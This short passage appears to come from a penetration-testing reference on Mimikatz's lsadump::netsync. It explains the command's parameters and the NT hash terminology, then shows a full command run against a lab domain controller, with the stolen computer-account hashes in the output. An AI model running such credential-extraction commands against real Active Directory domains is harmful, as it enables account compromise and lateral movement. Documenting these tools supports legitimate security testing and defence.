/dc: The FQDN of the domain controller
/user: the machine account of the domain controller
/ntlm: the NT hash of the domain controller's machine account
SamAccountNameof the computer account to target
LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash.
mimikatz # lsadump::netsync /dc:dc.hacklab.local /user:dc$ /ntlm:5b7ba7b6131a4aab1bbd60ba1a810e53 /account:win7$
NTLM : 86e5ae81e1fcae2164a7c247af54e148
NTLM-1 : 31d6cfe0d16ae931b73c59d7e0c089c0